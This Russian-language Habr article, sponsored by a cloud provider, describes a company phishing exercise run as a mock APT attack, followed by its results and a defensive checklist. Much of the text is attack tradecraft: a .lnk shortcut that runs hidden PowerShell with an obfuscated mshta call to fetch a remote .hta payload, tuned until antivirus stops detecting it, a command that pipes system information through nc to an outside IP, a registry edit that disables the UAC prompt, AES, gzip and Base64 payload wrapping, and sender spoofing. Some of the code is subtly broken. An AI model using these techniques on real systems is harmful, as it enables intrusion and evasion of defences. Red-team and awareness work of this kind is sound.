Хабр, приготовься, рыбалка началась! Для тех кто не в лодке, в предыдущей части мы составили методологию и выбрали инструменты для проведения нестандартных фишинг-учений, чтобы проверить сотрудников нашей компании. В результате мы разработали стратегию полноценной тренировочной APT-атаки. Сегодня мы рассмотрим ее практическую реализацию. Но обо всем по порядку.
Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности и пентестеры ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.
Шаг 0. Планирование
Для начала вспомним алгоритм разработанной нами стратегии, и пункты, которые необходимо выполнить.
На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk или же ярлыком. Неопытный пользователь может запутаться в разнообразии форматов, или письмо может остаться без внимания, так как было получено из «доверенного» источника.
Приманкой будет важное сообщение от системы электронного документооборота с подмененным отправителем в теле письма. Это еще одна ловушка для сотрудника. Если вам интересны подробности этого процесса, то обязательно прочтите первую часть статьи!
После открытия файла начнется второй этап атаки — заражение. На компьютере жертвы будет скачан и открыт файл локального «веб-приложения» с обезвреженным кодом, который свяжется с командным сервером и оповестит о «заражении» машины. Чтобы усыпить подозрения, пользователю будет продемонстрирован и оригинальный документ, загруженный с удаленного сервера. Однако не все так просто: чтобы провести учебную атаку, необходимо не только отвлечь внимание потенциальной жертвы, но также обойти средства защиты информации (СЗИ). Для этого мы будем использовать маскировку.
Шаг 1. Этап вооружения
Подготовим удочки и гарпуны для учений, или в нашем случае — эксплойты и пэйлоады. Но для начала определимся с требованиями к ним. Для того чтобы преодолеть СЗИ и человеческий фактор, необходимо использовать:
- ресурсы и файлы-приманки из рабочей среды;
- короткие пэйлоады;
- обфусцированные значения и криптографические преобразования;
- низкие показатели идентификации вредоноса.
Основываясь на постулатах выше, приступим к созданию первого эксплойта — ярлыка. Для этого нам не понадобятся какие-либо специальные средства, только Windows-окружение.
Токсичный ярлык
Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься PowerShell. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а открыть второй эксплойт, то необходимо должным образом замаскировать вредоносную активность.
Если мы непосредственно обратимся к утилите, которая запустит вредонос, такая угроза будет детектирована практически везде.
PS C:\Users\Mi> mshta.exe
Вместо этого мы используем операторы PowerShell для того чтобы обходным путем выполнить mshta или mshta.exe без указания пути, так как он уже имеется в переменных среды.
Первое, что приходит в голову, — обратиться к свойствам объекта реестра и вытащить оттуда нужное название.
PS C:\Users\Mi> gp -pa 'HKLM:\SOF*\Clas*\Appli*ons\m*h*e'
NoOpenWith :
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mshta.exe
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications
PSChildName : mshta.exe
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
В данном случае команда gp (сокращение от Get-ItemProperties) при обращении получает список свойств, а в запрос мы уже интегрировали маскировку через *, которая символизирует одно или более значений. Отфильтруем и передадим результат на исполнение mshta.exe через оператор группировки (), который рекурсивно выполнит функции и вернет полученное значение.
PS C:\Users\Mi> .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://habr.ru/13
mshta.exe https://habr.ru/13
В результате мы получили замаскированный путь к утилите mshta.exe, которая скачивает и устанавливает вредонос на втором этапе. Проведем тесты на детектируемость:
Некоторые антивирусы все же определяют сигнатуру. На текущий момент нас интересует детектируемость решениями Microsoft и ClamAV. Сменим порядок запроса, но суть останется прежней.
PS C:\Users\Mi> .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13
Знаком вопроса мы замаскировали название. После внесенных изменений проведем повторный тест:
Отлично, интересующие нас антивирусные продукты не видят наш эксплойт. При необходимости можно устранить и оставшиеся детекты.
Вернемся к окну с ярлыком и установим новый путь с командами для запуска PowerShell.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13
Выберем соответствующее название, запуск в скрытом окне и значок PDF, который будет отображаться на компьютере пользователя:
%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe
Для проверки работоспособности эксплойта можно указать в конце команды любой сайт, но затем будет необходимо изменить ссылку на URI с файлом второго этапа.
Вредоносный Webapp
Второй эксплойт представляет собой файл формата .hta, состоящий из в заранее подготовленного HTML с включением CSS + JS. При помощи утилиты mshta, которую мы указали в ярлыке, код в файле интерпретируется и компилируется.
Вредоносные функции сосредоточены в коде JavaScript. Главные враги подобного решения — статический и динамический анализаторы, которые есть в антивирусных программах, песочницах и TI-платформах.
Этот файл несет в себе основную нагрузку и неизбежно будет содержать множество обращений к системе в довольно большом по объему фрагменте кода. Поэтому в целях маскировки мы можем использовать объекты окружения PowerShell для шифрования, кодирования, сжатия передаваемых данных, а также обфускацию и задержку при выполнении.
В нашем примере мы пойдем от обратного и разберем готовый эксплойт по частям.
Эксплойт под кодовым именем 13.hta состоит из двух основных элементов: маскировочный блок и ядро вредоноса. Основной модуль содержит обращение к командному серверу, который зафиксирует, что заражение успешно произошло и выполнит ряд действий.
Get-ComputerInfo | nc.exe 91.124.1.2 4213
Функция Decoy-файл найдет по имени файл из первого этапа атаки Положение №300.pdf.lnk и заменит его на оригинальный файл, открыв в браузере или через установленное по умолчанию приложение.
function fJBZI($JfsS){
$WeFJn = gci -Recurse -Filter 'Положение №300 pdf.lnk' -File -ErrorAction SilentlyContinue -Path $JfsS;
if($WeFJn){
if($WeFJn.Fullname -Match '.zip' -eq $true){
$NzJDP = $WeFJn.Directory.Name.Replace('Temp1_','');
$dnuHk = gci -Recurse -Filter $NzJDP -File -ErrorAction SilentlyContinue -Path «$HOME»;
$JLdUun = Join-Path $dnuHk.Directory $NzJDP;
$GNSf = Join-Path $WeFJn.Directory '\*';
Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;
del $WeFJn.FullName -Force;
Compress-Archive -Path $GNSf -DestinationPath $JLdUun -Force;
} else {
del $WeFJn.FullName -force;
Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;
}
}
}
fJBZI([Environment]::GetFolderPath('Desktop'));
- Функция fJBZI сканирует рабочий стол пользователя в поисках ярлыков с именем «Положение №300.pdf.lnk»;
- Если найденный ярлык является файлом ZIP, скрипт извлекает содержимое ZIP-архива;
- Далее скрипт перемещает PDF-файл (предполагается, что это содержимое архива) на рабочий стол и удаляет ZIP-файл или ярлык;
- Если ZIP-файл не найден, он перемещает PDF-файл на рабочий стол.
Обход UAC/SmartScreen включает в себя функцию обращения к реестру и изменения значения, отвечающего за уровень контроля запуска приложений, а также использует новые сигнатуры для обхода SmartScreen.
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
Полученное ядро необходимо маскировать и преобразовать!
Маскировочный блок, в свою очередь, использует 3 основных способа сокрытия ядра полезной нагрузки:
Для сокращения объема и воспрепятствования статическому анализу используется gzip-архивирование.
New-Object System.IO.Compression.GzipStream [Stream of data], ([IO.Compression.CompressionMode]:: Compress)
Поверх архива применяется шифрование методом AES-256, путем создания объекта в окружении PS с соответствующими опциями.
$zTdLOeg = «ключ_в_utf8»;
$yNRTxBE = «закодированный_текст_в_utf8»;
$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';
$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$vdiEhMj.BlockSize = 128;
$vdiEhMj.KeySize = 256;
$vdiEhMj.Key = [System.Convert]::FromUTF8String($zTdLOeg);
$hPhPw = [System.Convert]::FromUTF8String($yNRTxBE);
$udBqxpbU = $hPhPw[0..15];
$vdiEhMj.IV = $udBqxpbU;
$eTsDHySTn = $vdiEhMj.CreateEncryptor();
$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 0, $hPhPw.Length);
$vdiEhMj.Dispose();
Для следующего этапа применяется кодирование в Base64. Получившееся ядро в замаскированной оболочке записывается в переменную.
$yNRTXBE = 'AAAAAAAAAAAAAAAAAAAAAAUQSLIqVQKkgeiUIVMEDKFBx0d AqUjxNC2pF2azwgu5jrLa5CV8ki6NA4oVN1vj5bMzzwgADlgD6k3v
FcP9A2889VWEvaNplt1NmzacJKO/
RAcvOpiPODvSaRpCV50FE/reGmllrWniD4LCvV/j53/sActC/ NsGGHRDL8JpPvuRKt1Re3AKwbrzv5SEleT4Yv9WgHls7U1E+MkGs/ wXrJSN7BWdHF9QXslb6/
pwTYznyq1324dIMMUBWtd94+X7p2xzIYD
zsLiVW16huWgoeiPXtk9fMnuW+Q7Ir31YmlKvmwRWbsTJDPFxsfV0BaQ8xeQgH2qe8ahxlq2NB9ED xzYpEjD22ehY/
MsvTp6BsO0W6DXmWam6WfFdeUjQWKuOqfN25EHKit21X27bka SA7g9AStqrEzV0NC26ZDMJa078UlquB4iqt5MDivEd3LyKwtJGvFC wBUduk=';
Для распаковки ядра вредоноса в .hta-формате прописываются команды для дешифровки, декодирования и разархивации. Некоторые строки со значениями также закодированы в Base64.
$zTdLOeg = 'QIRkeU1MSGtRc09uZ290Sm9TTk5lc2ZxeGxlemhxTW8=';
$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';
$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$vdiEhMj.BlockSize = 128;$vdiEhMj.KeySize = 256;
$vdiEhMj.Key = [System.Convert]::FromBase64String($zTdLOeg);
$hPhPw = [System.Convert]::FromBase64String($yNRTxBE);
$udBqxpbU = $hPhPw[0..15];
$vdiEhMj.IV = $udBqxpbU;
$eTsDHySTn = $vdiEhMj.CreateDecryptor();
$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 16, $hPhPw.Length — 16);
$vdiEhMj.Dispose();
$jQcAMdf = New-Object System.IO.MemoryStream(,$JrVyLoYTK);
$pKSKXid = New-Object System.IO.MemoryStream;
$wdTyKzCND = New-Object System.IO.Compression.GzipStream $jQcAMdf, ([IO.Compression.CompressionMode]:: Decompress);
$wdTyKzCND.CopyTo($pKSKXid);
$wdTyKzCND.Close();
$jQcAMdf.Close(); [byte[]]
$Kuvqqkj = $pKSKXid.ToArray();
$pcWmt = [System.Text.Encoding]::UTF8.GetString($Kuvqqkj);
Выполнение расшифрованного эксплойта
#$pcWmt | powershell -
В результате всех этих сложных манипуляций мы получаем отличные результаты.
Поведенческий анализ Антивируса Касперского все-таки обнаружил вредонос, но целевые антивирусные решения не отреагировали на наш файл, поэтому задачу по формированию пэйлоада можно считать выполненной.
Не забудем захостить итоговый файл, убрать расширение .hta и изменить ссылку в ярлыке.
Шаг 2. Этап доставки
Когда мы уже сидим на чемоданах и все снасти упакованы, пора погрузиться на корабль и отправиться на долгожданную рыбалку! Для того чтобы наше творение дошло до получателя в исходном виде и письмо не вызывало подозрений, необходимо произвести подмену отправителя.
Напомним, что особенность обработки такого сообщения любым почтовым приложением заключается в том, что все поля до DATA остаются в метаданных, а поля после этой строки отображаются в самом сообщении. Соответственно, получатель не увидит narushitel@serverspace.ru пока не просмотрит исходный код сообщения, но зато поле From: Игорь Иванович ceo@serverspace.ru будет отображаться в строке «отправитель». Так выглядит само письмо:
А вот его исходный код, в котором можно увидеть настоящего отправителя в поле Return-Path: narushitel@serverspace.ru:
Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение.
На развернутом сервере GoPhish была создана целевая группа для рассылки путем импорта CSV:
Чтобы отправлять письма, необходимо иметь легитимный аккаунт, который будет использоваться для рассылки. В нашем случае для подсказки пользователю мы указали адрес narushitel@mail.serverspace.ru .
Затем мы составили фишинговое письмо с использованием HTML и CSS, преимущественно без картинок, поскольку многие почтовые клиенты блокируют изображения, как вложенные, так и с ссылкой на внешний ресурс. В сообщение мы добавили вредоносный файл и трекер, за счет которого будут фиксироваться открытия вредоносного сообщения. Письмо приняло следующий вид:
После того как мы сформировали все виды писем с вложением для реализации первого этапа атаки, можно начинать рыбалку!
Шаг 3. Сбор результатов и советы для сотрудников ИБ
В течение всей компании сотрудникам было разослано около 400 писем, из них были открыты 356 или 89% от общего количества. Повысилась активность на сканирующем устройстве, куда могли обращаться пользователи, чтобы проверить свои файлы на наличие вредоноса. В отдел кибербезопасности поступило 10 обращений по поводу подозрительного письма, что ускорило бы реагирование в случае реальной атаки. Однако около 16% машин оказались «заражены», что говорит о необходимости принятия дополнительных технических и организационных мер. Среди них — укрепление периметра, фильтрация почтового трафика внутри сети, hardening почтовых серверов и повышение осведомленности оставшегося процента сотрудников.
Учения, безусловно, принесли пользу: общий процент открытия вредоносных писем в прошлые периоды составлял 41%, в текущем снизился до 16%.
Чек-лист рекомендаций
- Нужно предоставить пользователям организационные и технические инструменты для детектирования атаки: сканеры, антивирусные решения, настроенные анализаторы на почтовых серверах или отдельные решения Mail Security;
- Необходимо организовать базовый hardering почтовых серверов во избежание слива учетных данных, ввести строгую парольную политику и многофакторную аутентификацию. При составлении учений мы поняли, что на одном из узлов есть уязвимость Broken Authentication, что помогло вовремя решить проблему.
- Следует внедрить проактивную защиту, просканировать почтовый сервис открытыми платформами наподобие PT Knockin.
- Нужно настроить блокировку приема почтовым сервером сообщений с потенциально вредоносным вложением: .lnk, .bat, .cmd, .ps1, .exe, .msi, .slk и прочими.
В ходе учений мы реализовали полноценную APT-атаку и проверили бдительность своих коллег. Это позволило не только выяснить уровень осведомленности сотрудников, но и помогло здраво оценить защищенность инфраструктуры. Охоту можно объявлять закрытой!
Статья поддерживается командой Serverspace.
Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.
IT-инфраструктура | Кешбэк 17% по коду HABR